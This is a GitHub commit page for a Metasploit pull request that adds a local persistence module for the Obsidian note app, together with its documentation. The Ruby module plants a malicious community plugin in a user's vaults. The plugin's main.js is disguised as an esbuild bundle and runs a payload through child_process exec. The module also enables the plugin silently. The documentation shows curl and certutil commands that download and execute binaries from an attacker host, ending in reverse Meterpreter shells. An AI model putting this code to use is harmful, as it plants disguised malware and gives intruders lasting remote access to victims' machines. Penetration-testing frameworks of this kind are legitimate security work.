Skip to content

Commit f436f44

Browse files
authored
Merge pull request rapid7#19698 from h00die/obsidian
obsidian community plugin persistence module
2 parents 78c37a4 + 77d0292 commit f436f44

File tree

2 files changed

+380
-0
lines changed

2 files changed

+380
-0
lines changed
Lines changed: 124 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,124 @@
1+
## Vulnerable Application
2+
3+
This module searches for Obsidian vaults for a user, and uploads a malicious
4+
community plugin to the vault. The vaults must be opened with community
5+
plugins enabled (NOT restricted mode), but the plugin will be enabled
6+
automatically.
7+
8+
Tested against Obsidian 1.7.7 on Kali, Ubuntu 22.04, and Windows 10.
9+
10+
### Debugging
11+
12+
To open the console (similar to chrome), use `ctr+shift+i`.
13+
14+
## Verification Steps
15+
16+
1. Install the application
17+
2. Start msfconsole
18+
3. Get a user shell on the target
19+
4. Do: `use multi/local/obsidian_plugin_persistence`
20+
5. Do: Select a shell which will work on your target OS
21+
6. Do: `run`
22+
7. You should get a shell when the target user opens the vault without restricted mode.
23+
24+
## Options
25+
26+
### NAME
27+
28+
Name of the plugin. Defaults to being randomly generated.
29+
30+
### USER
31+
32+
The user to target. Defaults the user the shell was obtained under.
33+
34+
### CONFIG
35+
36+
Config file location on target. Defaults to empty which will search the default locations.
37+
38+
## Scenarios
39+
40+
### Version and OS
41+
42+
Get a user shell.
43+
44+
```
45+
msf6 exploit(multi/script/web_delivery) > use exploit/multi/local/obsidian_plugin_persistence
46+
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
47+
msf6 exploit(multi/local/obsidian_plugin_persistence) > set session 1
48+
session => 1
49+
msf6 exploit(multi/local/obsidian_plugin_persistence) > set verbose true
50+
verbose => true
51+
msf6 exploit(multi/local/obsidian_plugin_persistence) > exploit
52+
53+
[*] Command to run on remote host: curl -so ./HvxtaAdZVc http://1.1.1.1:8080/aZRe4yWUN3U2-lDtdsaGlA; chmod +x ./HvxtaAdZVc; ./HvxtaAdZVc &
54+
[*] Fetch handler listening on 1.1.1.1:8080
55+
[*] HTTP server started
56+
[*] Adding resource /aZRe4yWUN3U2-lDtdsaGlA
57+
[*] Started reverse TCP handler on 1.1.1.1:4444
58+
[*] Using plugin name: xQem
59+
[*] Target User: ubuntu
60+
[*] Found user obsidian file: /home/ubuntu/.config/obsidian/obsidian.json
61+
[+] Found open vault 83ca6e5734f5dfc4: /home/ubuntu/Documents/test
62+
[*] Uploading plugin to vault /home/ubuntu/Documents/test
63+
[*] Uploading: /home/ubuntu/Documents/test/.obsidian/plugins/xQem/main.js
64+
[*] Uploading: /home/ubuntu/Documents/test/.obsidian/plugins/xQem/manifest.json
65+
[*] Found 1 enabled community plugins (sX2sv4)
66+
[*] adding xQem to the enabled community plugins list
67+
[+] Plugin enabled, waiting for Obsidian to open the vault and execute the plugin.
68+
[*] Client 2.2.2.2 requested /aZRe4yWUN3U2-lDtdsaGlA
69+
[*] Sending payload to 2.2.2.2 (curl/7.81.0)
70+
[*] Transmitting intermediate stager...(126 bytes)
71+
[*] Sending stage (3045380 bytes) to 2.2.2.2
72+
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:49192) at 2024-12-05 10:19:32 -0500
73+
74+
meterpreter > getuid
75+
Server username: ubuntu
76+
meterpreter > sysinfo
77+
Computer : 2.2.2.2
78+
OS : Ubuntu 22.04 (Linux 5.15.0-60-generic)
79+
Architecture : x64
80+
BuildTuple : x86_64-linux-musl
81+
Meterpreter : x64/linux
82+
meterpreter >
83+
```
84+
85+
### Obsidian 1.7.7 on Windows 10
86+
87+
```
88+
89+
msf6 exploit(multi/local/obsidian_plugin_persistence) > rexploit
90+
[*] Reloading module...
91+
92+
[*] Command to run on remote host: certutil -urlcache -f http://1.1.1.1:8080/bXCLrS0dWKPwEfygT3FJNA %TEMP%\FDTcKUuwF.exe & start /B %TEMP%\FDTcKUuwF.exe
93+
[*] Fetch handler listening on 1.1.1.1:8080
94+
[*] HTTP server started
95+
[*] Adding resource /bXCLrS0dWKPwEfygT3FJNA
96+
[*] Started reverse TCP handler on 1.1.1.1:4444
97+
[*] Using plugin name: pPq0K
98+
[*] Target User: h00die
99+
[*] Found user obsidian file: C:\Users\h00die\AppData\Roaming\obsidian\obsidian.json
100+
[+] Found open vault 69172dadc065de73: C:\Users\h00die\Documents\vault
101+
[*] Uploading plugin to vault C:\Users\h00die\Documents\vault
102+
[*] Uploading: C:\Users\h00die\Documents\vault/.obsidian/plugins/pPq0K/main.js
103+
[*] Uploading: C:\Users\h00die\Documents\vault/.obsidian/plugins/pPq0K/manifest.json
104+
[*] Found 0 enabled community plugins ()
105+
[*] adding pPq0K to the enabled community plugins list
106+
[+] Plugin enabled, waiting for Obsidian to open the vault and execute the plugin.
107+
[*] Client 3.3.3.3 requested /bXCLrS0dWKPwEfygT3FJNA
108+
[*] Sending payload to 3.3.3.3 (Microsoft-CryptoAPI/10.0)
109+
[*] Client 3.3.3.3 requested /bXCLrS0dWKPwEfygT3FJNA
110+
[*] Sending payload to 3.3.3.3 (CertUtil URL Agent)
111+
[*] Meterpreter session 7 opened (1.1.1.1:4444 -> 3.3.3.3:51369) at 2024-12-05 09:24:24 -0500
112+
113+
meterpreter > getuid
114+
Server username: DESKTOP-3ASD0R4\h00die
115+
meterpreter > sysinfo
116+
Computer : DESKTOP-3ASD0R4
117+
OS : Windows 10 (10.0 Build 19044).
118+
Architecture : x64
119+
System Language : en_US
120+
Domain : WORKGROUP
121+
Logged On Users : 2
122+
Meterpreter : x64/windows
123+
meterpreter >
124+
```
Lines changed: 256 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,256 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Local
7+
Rank = ExcellentRanking
8+
9+
include Msf::Post::File
10+
include Msf::Post::Unix # whoami
11+
include Msf::Auxiliary::Report
12+
13+
def initialize(info = {})
14+
super(
15+
update_info(
16+
info,
17+
'Name' => 'Obsidian Plugin Persistence',
18+
'Description' => %q{
19+
This module searches for Obsidian vaults for a user, and uploads a malicious
20+
community plugin to the vault. The vaults must be opened with community
21+
plugins enabled (NOT restricted mode), but the plugin will be enabled
22+
automatically.
23+
24+
Tested against Obsidian 1.7.7 on Kali, Ubuntu 22.04, and Windows 10.
25+
},
26+
'License' => MSF_LICENSE,
27+
'Author' => [
28+
'h00die', # Module
29+
'Thomas Byrne' # Research, PoC
30+
],
31+
'DisclosureDate' => '2022-09-16',
32+
'SessionTypes' => [ 'shell', 'meterpreter' ],
33+
'Privileged' => false,
34+
'References' => [
35+
[ 'URL', 'https://docs.obsidian.md/Plugins/Getting+started/Build+a+plugin' ],
36+
[ 'URL', 'https://github.com/obsidianmd/obsidian-sample-plugin/tree/master' ],
37+
[ 'URL', 'https://forum.obsidian.md/t/can-obsidian-plugins-have-malware/34491' ],
38+
[ 'URL', 'https://help.obsidian.md/Extending+Obsidian/Plugin+security' ],
39+
[ 'URL', 'https://thomas-byrne.co.uk/research/obsidian-malicious-plugins/obsidian-research/' ]
40+
],
41+
'Arch' => [ARCH_CMD],
42+
'Platform' => %w[osx linux windows],
43+
'DefaultOptions' => {
44+
# 25hrs, you know, just in case the user doesn't open Obsidian for a while
45+
'WfsDelay' => 90_000,
46+
'PrependMigrate' => true
47+
},
48+
'Payload' => {
49+
'BadChars' => '"'
50+
},
51+
'Stance' => Msf::Exploit::Stance::Passive,
52+
'Targets' => [
53+
['Auto', {} ],
54+
['Linux', { 'Platform' => 'unix' } ],
55+
['OSX', { 'Platform' => 'osx' } ],
56+
['Windows', { 'Platform' => 'windows' } ],
57+
],
58+
'Notes' => {
59+
'Reliability' => [ REPEATABLE_SESSION ],
60+
'Stability' => [ CRASH_SAFE ],
61+
'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ]
62+
},
63+
'DefaultTarget' => 0
64+
)
65+
)
66+
67+
register_options([
68+
OptString.new('NAME', [ false, 'Name of the plugin', '' ]),
69+
OptString.new('USER', [ false, 'User to target, or current user if blank', '' ]),
70+
OptString.new('CONFIG', [ false, 'Config file location on target', '' ]),
71+
])
72+
end
73+
74+
def plugin_name
75+
return datastore['NAME'] unless datastore['NAME'].blank?
76+
77+
rand_text_alphanumeric(4..10)
78+
end
79+
80+
def find_vaults
81+
vaults_found = []
82+
user = target_user
83+
vprint_status("Target User: #{user}")
84+
case session.platform
85+
when 'windows', 'win'
86+
config_files = ["C:\\Users\\#{user}\\AppData\\Roaming\\obsidian\\obsidian.json"]
87+
when 'osx'
88+
config_files = ["/User/#{user}/Library/Application Support/obsidian/obsidian.json"]
89+
when 'linux'
90+
config_files = [
91+
"/home/#{user}/.config/obsidian/obsidian.json",
92+
"/home/#{user}/snap/obsidian/40/.config/obsidian/obsidian.json"
93+
] # snap package
94+
end
95+
96+
config_files << datastore['CONFIG'] unless datastore['CONFIG'].empty?
97+
98+
config_files.each do |config_file|
99+
next unless file?(config_file)
100+
101+
vprint_status("Found user obsidian file: #{config_file}")
102+
config_contents = read_file(config_file)
103+
return fail_with(Failure::Unknown, 'Failed to read config file') if config_contents.nil?
104+
105+
begin
106+
vaults = JSON.parse(config_contents)
107+
rescue JSON::ParserError
108+
vprint_error("Failed to parse JSON from #{config_file}")
109+
next
110+
end
111+
112+
vaults_found = vaults['vaults']
113+
if vaults_found.nil?
114+
vprint_error("No vaults found in #{config_file}")
115+
next
116+
end
117+
118+
vaults['vaults'].each do |k, v|
119+
if v['open']
120+
print_good("Found #{v['open'] ? 'open' : 'closed'} vault #{k}: #{v['path']}")
121+
else
122+
print_status("Found #{v['open'] ? 'open' : 'closed'} vault #{k}: #{v['path']}")
123+
end
124+
end
125+
end
126+
127+
vaults_found
128+
end
129+
130+
def manifest_js(plugin_name)
131+
JSON.pretty_generate({
132+
'id' => plugin_name.gsub(' ', '_'),
133+
'name' => plugin_name,
134+
'version' => '1.0.0',
135+
'minAppVersion' => '0.15.0',
136+
'description' => '',
137+
'author' => 'Obsidian',
138+
'authorUrl' => 'https://obsidian.md',
139+
'isDesktopOnly' => false
140+
})
141+
end
142+
143+
def main_js(_plugin_name)
144+
if ['windows', 'win'].include? session.platform
145+
payload_stub = payload.encoded.to_s
146+
else
147+
payload_stub = "echo \\\"#{Rex::Text.encode_base64(payload.encoded)}\\\" | base64 -d | /bin/sh"
148+
end
149+
%%
150+
/*
151+
THIS IS A GENERATED/BUNDLED FILE BY ESBUILD
152+
if you want to view the source, please visit the github repository of this plugin
153+
*/
154+
155+
var __defProp = Object.defineProperty;
156+
var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
157+
var __getOwnPropNames = Object.getOwnPropertyNames;
158+
var __hasOwnProp = Object.prototype.hasOwnProperty;
159+
var __export = (target, all) => {
160+
for (var name in all)
161+
__defProp(target, name, { get: all[name], enumerable: true });
162+
};
163+
var __copyProps = (to, from, except, desc) => {
164+
if (from && typeof from === "object" || typeof from === "function") {
165+
for (let key of __getOwnPropNames(from))
166+
if (!__hasOwnProp.call(to, key) && key !== except)
167+
__defProp(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable });
168+
}
169+
return to;
170+
};
171+
var __toCommonJS = (mod) => __copyProps(__defProp({}, "__esModule", { value: true }), mod);
172+
173+
// main.ts
174+
var main_exports = {};
175+
__export(main_exports, {
176+
default: () => ExamplePlugin
177+
});
178+
module.exports = __toCommonJS(main_exports);
179+
var import_obsidian = require("obsidian");
180+
var ExamplePlugin = class extends import_obsidian.Plugin {
181+
async onload() {
182+
var command = "#{payload_stub}";
183+
const { exec } = require("child_process");
184+
exec(command, (error, stdout, stderr) => {
185+
if (error) {
186+
console.log(`error: ${error.message}`);
187+
return;
188+
}
189+
if (stderr) {
190+
console.log(`stderr: ${stderr}`);
191+
return;
192+
}
193+
console.log(`stdout: ${stdout}`);
194+
});
195+
}
196+
async onunload() {
197+
}
198+
};
199+
%
200+
end
201+
202+
def target_user
203+
return datastore['USER'] unless datastore['USER'].blank?
204+
205+
return cmd_exec('cmd.exe /c echo %USERNAME%').strip if ['windows', 'win'].include? session.platform
206+
207+
whoami
208+
end
209+
210+
def check
211+
return CheckCode::Appears('Vaults found') unless find_vaults.empty?
212+
213+
CheckCode::Safe('No vaults found')
214+
end
215+
216+
def exploit
217+
plugin = plugin_name
218+
print_status("Using plugin name: #{plugin}")
219+
vaults = find_vaults
220+
fail_with(Failure::NotFound, 'No vaults found') if vaults.empty?
221+
vaults.each_value do |vault|
222+
print_status("Uploading plugin to vault #{vault['path']}")
223+
# avoid mkdir function because that registers it for delete, and we don't want that for
224+
# persistent modules
225+
if ['windows', 'win'].include? session.platform
226+
cmd_exec("cmd.exe /c md \"#{vault['path']}\\.obsidian\\plugins\\#{plugin}\"")
227+
else
228+
cmd_exec("mkdir -p '#{vault['path']}/.obsidian/plugins/#{plugin}/'")
229+
end
230+
vprint_status("Uploading: #{vault['path']}/.obsidian/plugins/#{plugin}/main.js")
231+
write_file("#{vault['path']}/.obsidian/plugins/#{plugin}/main.js", main_js(plugin))
232+
vprint_status("Uploading: #{vault['path']}/.obsidian/plugins/#{plugin}/manifest.json")
233+
write_file("#{vault['path']}/.obsidian/plugins/#{plugin}/manifest.json", manifest_js(plugin))
234+
235+
# read in the enabled community plugins, and add ours to the enabled list
236+
if file?("#{vault['path']}/.obsidian/community-plugins.json")
237+
plugins = read_file("#{vault['path']}/.obsidian/community-plugins.json")
238+
begin
239+
plugins = JSON.parse(plugins)
240+
vprint_status("Found #{plugins.length} enabled community plugins (#{plugins.join(', ')})")
241+
path = store_loot('obsidian.community.plugins.json', 'text/plain', session, plugins, nil, nil)
242+
print_good("Config file saved in: #{path}")
243+
rescue JSON::ParserError
244+
plugins = []
245+
end
246+
247+
plugins << plugin unless plugins.include?(plugin)
248+
else
249+
plugins = [plugin]
250+
end
251+
vprint_status("adding #{plugin} to the enabled community plugins list")
252+
write_file("#{vault['path']}/.obsidian/community-plugins.json", JSON.pretty_generate(plugins))
253+
print_good('Plugin enabled, waiting for Obsidian to open the vault and execute the plugin.')
254+
end
255+
end
256+
end

0 commit comments

Comments
 (0)